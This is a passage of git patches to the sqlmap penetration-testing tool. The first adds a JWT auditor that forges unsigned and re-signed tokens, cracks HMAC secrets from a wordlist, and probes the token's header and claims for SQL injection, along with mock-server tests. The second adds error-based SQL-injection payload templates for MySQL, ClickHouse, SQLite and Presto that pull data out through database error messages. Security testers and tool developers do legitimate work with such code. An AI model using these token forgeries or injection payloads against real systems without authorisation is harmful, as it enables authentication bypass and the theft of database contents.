_probeNumericInjection(mutate, value): + """SQL-injection probe for a numeric claim: a quote still errors a string-concatenated number, and an + 'AND n=n' / 'AND n=n+1' pair distinguishes a true from a false condition in a numeric (unquoted) context.""" + + n = 1000 + len(JWT_SENTINEL) + if _errorBased(mutate, "%s'" % value): + return ("error-based SQL injection", "critical") + if _booleanConfirmed(mutate, str(value), "%s AND %d=%d" % (value, n, n), "%s AND %d=%d" % (value, n, n + 1)): + return ("boolean-based SQL injection", "high") + return None + +def jwtScan(): + """Audit the JSON Web Token carried by the request: report offline weaknesses (alg:none, guessable + HMAC secret, unsafe key headers, missing expiry), confirm which forgeries the server actually accepts + (signature-not-verified / alg:none / expired), and probe the 'kid' header and claims for SQL injection. + Self-contained - SQL enumeration switches (--banner/--dbs/--tables/...) do not apply.""" + + if not _locate(): + logger.warning("no JSON Web Token found in the request (looked in GET/POST/cookie parameters and HTTP headers)") + return + + data = parseJWT(_TOKEN) + header = data["header"] + payload = data["payload"] + where = ("'%s' header" % _HEADER) if _PLACE == _HEADER_PLACE else ("%s parameter" % _PLACE) + logger.info("found a JSON Web Token in the %s (algorithm '%s')" % (where, header.get("alg"))) + + findings = [] # (id, severity, summary, detail, confirmed) + + # offline findings that are inherently speculative (not proven by reading the token or an active probe): + # an asymmetric alg is only a confusion CANDIDATE, and a bare 'kid' is only a candidate injection point + OFFLINE_CANDIDATES = ("alg-confusion", "kid-injection") + + # 1. offline heuristic battery (structural), then a single wordlist pass for the HMAC secret + for fid, severity, summary, detail in auditJWT(_TOKEN): + findings.append((fid, severity, summary, detail, fid not in OFFLINE_CANDIDATES)) + + secret = None + if (header.get("alg") or "").upper() in HMAC_ALGORITHMS: + logger.info("attempting to recover the HMAC signing secret from the wordlist") + secret = _crackSecret(data) + if secret is not None: + findings.append(("weak-hmac-secret", "critical", "HMAC secret recovered ('%s')" % secret, "arbitrary tokens can be forged and re-signed", True)) + + algNoneAccepted = False + + # 2. active oracle: which forgeries does the server actually accept? + oracle = _makeOracle() + if oracle is None: + logger.warning("the endpoint does not distinguish a valid token from a broken one - cannot actively confirm forgeries (offline findings still apply)") + else: + # signature not verified: same claims, wrong signature (skip when the token is already unsigned - the + # 'alg:none' finding below covers that, and signing an unsigned token proves nothing) + if (header.get("alg") or "").lower() != "none" and data["signature"] and oracle(_send(_corruptSignature(_TOKEN))): + findings.append(("signature-not-verified", "critical", "server accepts a token with an invalid signature", "any claim can be forged without a key", True)) + + # alg:none accepted: strip the signature entirely, keep the claims + try: + noneToken = forgeJWT(dict(header, alg="none"), payload) + if oracle(_send(noneToken)): + algNoneAccepted = True + findings.append(("alg-none-accepted", "critical", "server accepts an unsigned ('alg':'none') token", "any claim can be forged without a key", True)) + except ValueError: + pass + + # expired token accepted: only meaningful once we can re-sign (cracked secret or alg:none) + if isinstance(payload, dict) and "exp" in payload and (secret or algNoneAccepted): + forged = dict(payload, exp=1) # 1970 - unmistakably expired + expToken = forgeJWT(header, forged, key=secret) if secret else forgeJWT(dict(header, alg="none"), forged) + if oracle(_send(expToken)): + findings.append(("expired-accepted", "high", "server accepts an expired token", "expiry ('exp') is not enforced - stolen tokens never lapse", True)) + + # a re-signing primitive (recovered secret, else an accepted alg:none) keeps a tampered token valid so + # its mutated component actually reaches the back-end + if secret: + signer = lambda hdr, pl: forgeJWT(hdr, pl, key=secret) + elif algNoneAccepted: + signer = lambda hdr, pl: forgeJWT(dict(hdr, alg="none"), pl) + else: + signer = None + + # 3. 'kid' header injection: with a primitive, tamper 'kid' in a validly (re)signed token; without one, + # keep the original signature (this only reaches the sink when 'kid' is resolved before verification) + if "kid" in header: + kidMutate = (lambda value: signer(dict(header, kid=value), payload)) if signer else (lambda value: _reheader(_TOKEN, "kid", value)) + result = _probeStringInjection(kidMutate) + if result: + findings.append(("kid-injection-confirmed", result[1], "'kid' header is vulnerable to %s" % result[0], "the key identifier reaches a back-end query", True)) + + # 4. claim injection (needs a re-signing primitive so the tampered token is accepted and reaches the sink); + # string claims are probed with quote breakage, numeric claims in an unquoted 'AND n=n' context + if isinstance(payload, dict) and signer: + probed = 0 + for name in list(payload): + if probed >= _MAX_PROBE_CLAIMS: + break + value = payload[name] + mutate = lambda newValue, name=name: signer(header, dict(payload, **{name: newValue})) + if name in _SKIP_CLAIMS or isinstance(value, bool): # temporal claim, or bool (int subclass, never a value context) + continue + elif isinstance(value, six.string_types): + result = _probeStringInjection(mutate) + elif isinstance(value, (int, float)): + result = _probeNumericInjection(mutate, value) + else: + continue + probed += 1 + if result: + findings.append(("claim-injection-confirmed", result[1], "claim '%s' is vulnerable to %s" % (name, result[0]), "the claim value reaches a back-end query", True)) + + _report(_dedupe(findings)) + + return findings + +def _reheader(token, field, value): + """Rebuild 'token' with header field set to 'value', keeping the original claims and signature (used to + probe a header, e.g. 'kid', that the server resolves before checking the signature).""" + + _, claims, signature = token.split('.') + return "%s.%s.%s" % (encodeSegment(dict(parseJWT(token)["header"], **{field: value})), claims, signature) + +def _dedupe(findings): + """Drop the speculative 'kid-injection' candidate once the active probe has confirmed 'kid' SQL injection, + so the same header is not reported twice (once as candidate, once as confirmed).""" + + if any(_[0] == "kid-injection-confirmed" for _ in findings): + findings = [_ for _ in findings if _[0] != "kid-injection"] + return findings + +def _report(findings): + """Emit findings most-severe first, then a one-line self-contained note. Info-severity findings are logged + at INFO (a bare 'kid' / asymmetric-alg candidate is not a warning); actual weaknesses at WARNING.""" + + if not findings: + logger.info("no JWT weaknesses found") + return + + for fid, severity, summary, detail, confirmed in sorted(findings, key=lambda _: _SEVERITY_RANK.get(_[1], 9)): + marker = "confirmed" if confirmed else "candidate" + message = "JWT %s [%s]: %s (%s)" % (marker, severity, summary, detail) + (logger.info if severity == "info" else logger.warning)(message) + + if conf.beep: + beep() + + logger.info("JWT audit is self-contained; SQL enumeration switches (e.g. --banner, --dbs, --tables) do not apply here") diff --git a/lib/utils/jwt.py b/lib/utils/jwt.py new file mode 100644 index 00000000000..358e62b6cf9 --- /dev/null +++ b/lib/utils/jwt.py @@ -0,0 +1,153 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import hashlib +import hmac +import json +import re + +from lib.core.convert import decodeBase64 +from lib.core.convert import encodeBase64 +from lib.core.convert import getBytes +from lib.core.convert import getText + +# a compact JSON Web Token: base64url(header).base64url(payload).base64url(signature); a header always starts +# with '{"' which base64url-encodes to the literal prefix 'eyJ', so this matches JWTs embedded in a larger value +JWT_REGEX = r"eyJ[A-Za-z0-9_-]{4,}\.eyJ[A-Za-z0-9_-]{4,}\.[A-Za-z0-9_-]*" + +# keyed-hash algorithms sqlmap can both verify (crack) and forge offline +HMAC_ALGORITHMS = {"HS256": hashlib.sha256, "HS384": hashlib.sha384, "HS512": hashlib.sha512} + +def encodeSegment(value): + return encodeBase64(json.dumps(value, separators=(',', ':')), binary=False, safe=True) + +def parseJWT(token): + """Split and decode a JWT into its header/payload/signature parts (None if it is not a well-formed JWT). + + >>> data = parseJWT("eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ.") + >>> data["header"]["alg"] == "none" and data["payload"]["user"] == "admin" + True + >>> parseJWT("not.a.jwt") is None + True + """ + + if not token or token.count('.') != 2: + return None + + header, payload, signature = token.split('.') + + try: + header = json.loads(decodeBase64(header, binary=False)) + payload = json.loads(decodeBase64(payload, binary=False)) + except Exception: + return None + + if not isinstance(header, dict) or "alg" not in header: + return None + + return {"header": header, "payload": payload, "signature": signature, "signingInput": token.rsplit('.', 1)[0], "raw": token} + +def findJWTs(value): + """Return every well-formed JWT found inside an arbitrary value (e.g. a Cookie/Authorization header).""" + + return [match.group(0) for match in re.finditer(JWT_REGEX, value or "") if parseJWT(match.group(0))] + +def forgeJWT(header, payload, key=None): + """Re-encode a (possibly tampered) header/payload, signing with 'key' for an HMAC 'alg' or leaving the + signature empty for 'alg':'none' - the primitive behind the alg:none and weak-secret exploitation paths. + + >>> forgeJWT({"alg": "none"}, {"user": "admin"}).endswith('.') + True + >>> parseJWT(forgeJWT({"alg": "HS256"}, {"user": "admin"}, key="secret"))["payload"]["user"] == "admin" + True + """ + + alg = (header.get("alg") or "none") + signingInput = "%s.%s" % (encodeSegment(header), encodeSegment(payload)) + + if alg.lower() == "none": + signature = "" + elif alg.upper() in HMAC_ALGORITHMS and key is not None: + digest = hmac.new(getBytes(key), getBytes(signingInput), HMAC_ALGORITHMS[alg.upper()]).digest() + signature = encodeBase64(digest, binary=False, safe=True) + else: + raise ValueError("unsupported algorithm '%s' for forging" % alg) + + return "%s.%s" % (signingInput, signature) + +def crackHMAC(token, secrets, limit=None): + """Try to recover the HMAC signing secret of an HS* token from an iterable of candidate secrets; returns + the secret on success (a full forgery primitive), else None. Purely offline - no requests. + + >>> token = forgeJWT({"alg": "HS256"}, {"user": "admin"}, key="s3cr3t") + >>> crackHMAC(token, ["admin", "s3cr3t", "letmein"]) + 's3cr3t' + >>> crackHMAC(token, ["admin", "letmein"]) is None + True + """ + + data = parseJWT(token) + if not data or (data["header"].get("alg") or "").upper() not in HMAC_ALGORITHMS: + return None + + fn = HMAC_ALGORITHMS[data["header"]["alg"].upper()] + signingInput = getBytes(data["signingInput"]) + target = decodeBase64(data["signature"], binary=True) + + for index, secret in enumerate(secrets): + if limit is not None and index >= limit: + break + secret = secret.strip() if hasattr(secret, "strip") else secret + if hmac.new(getBytes(secret), signingInput, fn).digest() == target: + return getText(secret) + + return None + +def auditJWT(token, secrets=None, crackLimit=None): + """Offline heuristic battery over a single JWT - the 'bad JWT setup' checks that bite in the real world and + CTFs. Returns findings as (id, severity, summary, detail); online oracle checks (does the server ACCEPT an + alg:none / bit-flipped / expired forgery) are layered on top by the caller, which owns response comparison. + + >>> sorted(_[0] for _ in auditJWT("eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ.")) + ['alg-none', 'no-expiry'] + """ + + findings = [] + data = parseJWT(token) + if not data: + return findings + + header, payload = data["header"], data["payload"] + alg = (header.get("alg") or "").strip() + + # an unsigned token that the app already issued means forged claims need no key at all + if alg.lower() == "none" or data["signature"] == "": + findings.append(("alg-none", "critical", "token declares alg '%s' (unsigned)" % (alg or "none"), "claims can be forged with no key")) + + # a guessable HMAC secret is a full forgery primitive - crack it against the provided dictionary + if alg.upper() in HMAC_ALGORITHMS and secrets is not None: + secret = crackHMAC(token, secrets, crackLimit) + if secret is not None: + findings.append(("weak-hmac-secret", "critical", "HMAC secret recovered ('%s')" % secret, "arbitrary tokens can be forged and re-signed")) + + # an asymmetric token may be vulnerable to RS/HS confusion if the public key is retrievable + if alg.upper().startswith(("RS", "ES", "PS")): + findings.append(("alg-confusion", "info", "asymmetric algorithm '%s'" % alg, "test RS/HS confusion if the public key is obtainable (JWKS/TLS)")) + + # header fields that pull in attacker-controllable key material (CVE-2018-0114 class) + for field in ("jku", "x5u", "jwk", "x5c"): + if field in header: + findings.append(("header-key-injection", "high", "header carries '%s'" % field, "attacker-hosted key material may be trusted")) + + # 'kid' commonly feeds a key lookup (file/DB/command) - a natural injection point + if "kid" in header: + findings.append(("kid-injection", "info", "header carries 'kid'", "candidate injection point (SQLi/LFI/path/command via key lookup)")) + + if isinstance(payload, dict) and "exp" not in payload: + findings.append(("no-expiry", "high", "no 'exp' claim", "token does not expire")) + + return findings diff --git a/tests/test_jwt.py b/tests/test_jwt.py new file mode 100644 index 00000000000..31d0cf66859 --- /dev/null +++ b/tests/test_jwt.py @@ -0,0 +1,228 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Offline tests for the JWT auditor: the dependency-free codec/crypto helpers in lib/utils/jwt.py +(parse/forge/crack/audit/detect) and the active scan engine in lib/techniques/jwt/inject.py +(acceptance oracle, forgery confirmation, kid/claim SQL-injection probe). The engine is driven against +a mock server by monkeypatching the transport, so the whole feature is validated deterministically on +Python 2.7 / 3.x with no network. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.data import conf +from lib.core.enums import PLACE +from lib.utils.jwt import auditJWT +from lib.utils.jwt import crackHMAC +from lib.utils.jwt import findJWTs +from lib.utils.jwt import forgeJWT +from lib.utils.jwt import parseJWT +import lib.techniques.jwt.inject as inject + + +class JWTUtilsTest(unittest.TestCase): + def test_parse_roundtrip(self): + token = forgeJWT({"alg": "HS256", "typ": "JWT"}, {"user": "admin", "role": "user"}, key="secret") + data = parseJWT(token) + self.assertEqual(data["header"]["alg"], "HS256") + self.assertEqual(data["payload"]["user"], "admin") + + def test_parse_rejects_non_jwt(self): + for value in ("", "a.b", "a.b.c.d", "not.a.jwt", "eyJx.eyJx"): + self.assertIsNone(parseJWT(value)) + + def test_forge_none_is_unsigned(self): + token = forgeJWT({"alg": "none"}, {"user": "admin"}) + self.assertTrue(token.endswith(".")) + self.assertEqual(parseJWT(token)["signature"], "") + + def test_crack_hmac_secret(self): + token = forgeJWT({"alg": "HS256"}, {"user": "admin"}, key="s3cr3t") + self.assertEqual(crackHMAC(token, ["a", "s3cr3t", "b"]), "s3cr3t") + self.assertIsNone(crackHMAC(token, ["a", "b"])) + self.assertIsNone(crackHMAC(token, ["s3cr3t"], limit=0)) # limit reached before the hit + + def test_crack_ignores_non_hmac(self): + self.assertIsNone(crackHMAC("eyJhbGciOiJSUzI1NiJ9.eyJ1IjoxfQ.AAAA", ["secret"])) + + def test_audit_flags(self): + ids = set(_[0] for _ in auditJWT(forgeJWT({"alg": "none"}, {"user": "admin"}))) + self.assertIn("alg-none", ids) + self.assertIn("no-expiry", ids) + + def test_audit_weak_secret_and_headers(self): + token = forgeJWT({"alg": "HS256", "kid": "1", "jku": "https://evil/x"}, {"user": "admin", "exp": 9999999999}, key="secret") + ids = set(_[0] for _ in auditJWT(token, secrets=["secret"])) + self.assertIn("weak-hmac-secret", ids) + self.assertIn("header-key-injection", ids) + self.assertIn("kid-injection", ids) + + def test_find_jwts_in_blob(self): + token = forgeJWT({"alg": "HS256"}, {"user": "admin"}, key="secret") + blob = "session=abc; auth=%s; theme=dark" % token + self.assertEqual(findJWTs(blob), [token]) + self.assertEqual(findJWTs("no tokens here"), []) + + +class _MockServer(object): + """A trivial JWT-consuming endpoint. `verify` decides how strict it is; `sink` optionally reflects + a component (kid / a claim) into a fake SQL error, modelling an injectable key/claim lookup.""" + + OK = "welcome back, admin. secret area." + DENY = "access denied. please log in." + NOROW = "no matching record found." + SQLERR = "SQL syntax error near unclosed quotation mark" + + def __init__(self, secret=None, acceptNone=False, verifySig=True, sink=None, alwaysError=False, dynamic=False): + self.secret = secret + self.acceptNone = acceptNone + self.verifySig = verifySig + self.sink = sink # ("kid",)/("claim", name) string quote-sink, or ("numclaim", name) numeric sink + self.alwaysError = alwaysError # H2: page ALWAYS carries SQL-error text (must not be read as injection) + self.dynamic = dynamic # H3: response changes every hit (must not yield a boolean verdict) + self._tick = 0 + + def _wrap(self, page): + if self.dynamic: + self._tick += 1 + return "%s" % (page, self._tick) + return page + + def respond(self, token): + if self.alwaysError: + return self._wrap(self.SQLERR) + + data = parseJWT(token) + if not data: + return self._wrap(self.DENY) + + if self.sink is not None: + reflected = data["header"].get("kid") if self.sink[0] == "kid" else (data["payload"].get(self.sink[1]) if isinstance(data["payload"], dict) else None) + reflected = "" if reflected is None else str(reflected) + if self.sink[0] in ("claim", "kid") and reflected.count("'") % 2 == 1: + return self._wrap(self.SQLERR) # unbalanced quote -> string-context SQL error + if self.sink[0] == "numclaim": + if "'" in reflected: + return self._wrap(self.SQLERR) # quote in a numeric concat -> error + m = re.match(r"^\d+ AND (\d+)=(\d+)$", reflected) + if m: + return self._wrap(self.OK if m.group(1) == m.group(2) else self.NOROW) # AND n=n true, n=n+1 false + + alg = (data["header"].get("alg") or "").lower() + if alg == "none": + return self._wrap(self.OK if self.acceptNone else self.DENY) + if not self.verifySig: + return self._wrap(self.OK) + if self.secret and forgeJWT(data["header"], data["payload"], key=self.secret) == token: + return self._wrap(self.OK) + return self._wrap(self.DENY) + + +class JWTEngineTest(unittest.TestCase): + def setUp(self): + self._origGetPage = inject.Request.getPage + self._origParams = conf.parameters + self._origSecrets = inject._wordlistSecrets + conf.skipUrlEncode = False + conf.delay = 0 + conf.beep = False + # keep the offline crack fast: the full 6 MB wordlist sweep is exercised by the utils tests; here + # only the small common set is needed (a crackable token uses 'secret', which is in it) + from lib.core.settings import JWT_COMMON_SECRETS + inject._wordlistSecrets = lambda: iter(JWT_COMMON_SECRETS) + + def tearDown(self): + inject.Request.getPage = self._origGetPage + conf.parameters = self._origParams + inject._wordlistSecrets = self._origSecrets + inject._TOKEN = inject._PLACE = inject._HEADER = inject._HEADER_VALUE = None + + def _wire(self, token, server): + conf.parameters = {PLACE.GET: "auth=%s" % token} + + def fakeGetPage(**kwargs): + raw = kwargs.get("get") or kwargs.get("post") or kwargs.get("cookie") or "" + if kwargs.get("auxHeaders"): + raw = list(kwargs["auxHeaders"].values())[0] + found = findJWTs(raw) + return (server.respond(found[0] if found else raw), None, 200) + + inject.Request.getPage = staticmethod(fakeGetPage) + + def _run(self, token, server): + self._wire(token, server) + return dict((_[0], _) for _ in inject.jwtScan()) + + def test_oracle_confirms_alg_none(self): + # the server knows its real secret (so the original token is the authenticated baseline) but that + # secret is not in sqlmap's crack list; its flaw is accepting an unsigned alg:none forgery + token = forgeJWT({"alg": "HS256"}, {"user": "admin", "exp": 9999999999}, key="topsecret-not-in-list") + findings = self._run(token, _MockServer(secret="topsecret-not-in-list", acceptNone=True)) + self.assertIn("alg-none-accepted", findings) + self.assertEqual(findings["alg-none-accepted"][1], "critical") + + def test_oracle_confirms_signature_not_verified(self): + token = forgeJWT({"alg": "HS256"}, {"user": "admin", "exp": 9999999999}, key="topsecret-not-in-list") + findings = self._run(token, _MockServer(verifySig=False)) + self.assertIn("signature-not-verified", findings) + + def test_strict_server_yields_no_forgery(self): + token = forgeJWT({"alg": "HS256"}, {"user": "admin", "exp": 9999999999}, key="topsecret-not-in-list") + findings = self._run(token, _MockServer(secret="topsecret-not-in-list")) + self.assertNotIn("alg-none-accepted", findings) + self.assertNotIn("signature-not-verified", findings) + + def test_weak_secret_cracked_offline(self): + token = forgeJWT({"alg": "HS256"}, {"user": "admin", "exp": 9999999999}, key="secret") + findings = self._run(token, _MockServer(secret="secret")) + self.assertIn("weak-hmac-secret", findings) + + def test_kid_sql_injection(self): + token = forgeJWT({"alg": "none", "kid": "key1"}, {"user": "admin", "exp": 9999999999}) + findings = self._run(token, _MockServer(acceptNone=True, sink=("kid",))) + self.assertIn("kid-injection-confirmed", findings) + self.assertEqual(findings["kid-injection-confirmed"][1], "critical") + + def test_claim_sql_injection_via_alg_none(self): + token = forgeJWT({"alg": "none"}, {"user": "admin", "exp": 9999999999}) + findings = self._run(token, _MockServer(acceptNone=True, sink=("claim", "user"))) + self.assertIn("claim-injection-confirmed", findings) + + def test_numeric_claim_sql_injection(self): + # M4: a numeric claim (id) string-interpolated into SQL - detected in an unquoted 'AND n=n' context + token = forgeJWT({"alg": "none"}, {"user": "admin", "id": 5, "exp": 9999999999}) + findings = self._run(token, _MockServer(acceptNone=True, sink=("numclaim", "id"))) + self.assertIn("claim-injection-confirmed", findings) + + def test_error_based_no_fp_when_baseline_has_sql_error(self): + # H2: a page that ALWAYS contains SQL-error text must NOT be reported as an injection + token = forgeJWT({"alg": "none", "kid": "k"}, {"user": "admin", "exp": 9999999999}) + findings = self._run(token, _MockServer(acceptNone=True, alwaysError=True)) + self.assertNotIn("kid-injection-confirmed", findings) + self.assertNotIn("claim-injection-confirmed", findings) + + def test_boolean_no_fp_on_dynamic_page(self): + # H3: a response that changes every hit must not yield a boolean SQL-injection verdict + token = forgeJWT({"alg": "none", "kid": "k"}, {"user": "admin", "exp": 9999999999}) + findings = self._run(token, _MockServer(acceptNone=True, dynamic=True)) + self.assertNotIn("kid-injection-confirmed", findings) + self.assertNotIn("claim-injection-confirmed", findings) + + def test_no_token_is_graceful(self): + conf.parameters = {PLACE.GET: "q=hello"} + inject.Request.getPage = staticmethod(lambda **kwargs: ("x", None, 200)) + self.assertEqual(inject.jwtScan(), None) + + +if __name__ == "__main__": + unittest.main() From d2bcb3976333b40ee4c05fb16d314fc70b55f953 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 26 Jul 2026 14:23:14 +0200 Subject: [PATCH 845/853] Improvement of error-based vectors (e.g. SQLite error vector added) --- data/xml/payloads/error_based.xml | 210 ++++++++++++++++++++++++------ lib/core/settings.py | 2 +- 2 files changed, 173 insertions(+), 39 deletions(-) diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml index 86f90cc7a1f..a1f9c7c7db2 100644 --- a/data/xml/payloads/error_based.xml +++ b/data/xml/payloads/error_based.xml @@ -2,92 +2,134 @@ + - MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) + MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET) 2 - 1 + 2 1 1,2,3,8,9 1 - AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) + AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM]) - - AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) + AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]

MySQL - >= 5.1 + >= 5.6
- MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) + MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET) 2 - 1 + 2 3 - 1,2,3,8,9 - + 1,8,9 1 - OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) + OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM]) - - OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) + OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL - >= 5.1 + >= 5.6
+ - MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET) + MySQL >= 8.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UUID_TO_BIN) 2 - 2 + 5 1 1,2,3,8,9 1 - AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM]) + AND [RANDNUM]=UUID_TO_BIN(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) - AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) + AND [RANDNUM]=UUID_TO_BIN(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL - >= 5.6 + >= 8.0
- MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET) + MySQL >= 8.0 OR error-based - WHERE or HAVING clause (UUID_TO_BIN) 2 - 2 + 5 3 1,8,9 1 - OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM]) + OR [RANDNUM]=UUID_TO_BIN(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) - OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) + OR [RANDNUM]=UUID_TO_BIN(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL - >= 5.6 + >= 8.0 +
+
+ + + MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) + 2 + 1 + 1 + 1,2,3,8,9 + 1 + AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) + + + AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.1 +
+
+ + + MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) + 2 + 1 + 3 + 1,2,3,8,9 + + 1 + OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) + + + OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.1
@@ -911,6 +953,26 @@ + + + ClickHouse AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (getSetting) + 2 + 5 + 1 + 1,2,3,9 + 1 + AND [RANDNUM]=getSetting('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]') + + AND [RANDNUM]=getSetting('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ ClickHouse +
+
+ H2 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (CAST) 2 @@ -986,10 +1048,86 @@ Spanner - + + + SQLite >= 3.9 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON path) + 2 + 2 + 1 + 1,2,3,8,9 + 1 + AND [RANDNUM]=JSON_EXTRACT('{}','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + AND [RANDNUM]=JSON_EXTRACT('{}','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ SQLite + >= 3.9 +
+
+ + + SQLite >= 3.9 OR error-based - WHERE or HAVING clause (JSON path) + 2 + 2 + 3 + 1,8,9 + 1 + OR [RANDNUM]=JSON_EXTRACT('{}','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + OR [RANDNUM]=JSON_EXTRACT('{}','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ SQLite + >= 3.9 +
+
+ + + + Presto AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (PARSE_DATA_SIZE) + 2 + 5 + 1 + 1,2,3,8,9 + 1 + AND [RANDNUM]=PARSE_DATA_SIZE('[DELIMITER_START]'||CAST(([QUERY]) AS VARCHAR)||'[DELIMITER_STOP]') + + AND [RANDNUM]=PARSE_DATA_SIZE('[DELIMITER_START]'||CAST((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)) AS VARCHAR)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Presto +
+
+ + + Presto OR error-based - WHERE or HAVING clause (PARSE_DATA_SIZE) + 2 + 5 + 3 + 1,8,9 + 1 + OR [RANDNUM]=PARSE_DATA_SIZE('[DELIMITER_START]'||CAST(([QUERY]) AS VARCHAR)||'[DELIMITER_STOP]') + + OR [RANDNUM]=PARSE_DATA_SIZE('[DELIMITER_START]'||CAST((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)) AS VARCHAR)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Presto +
+
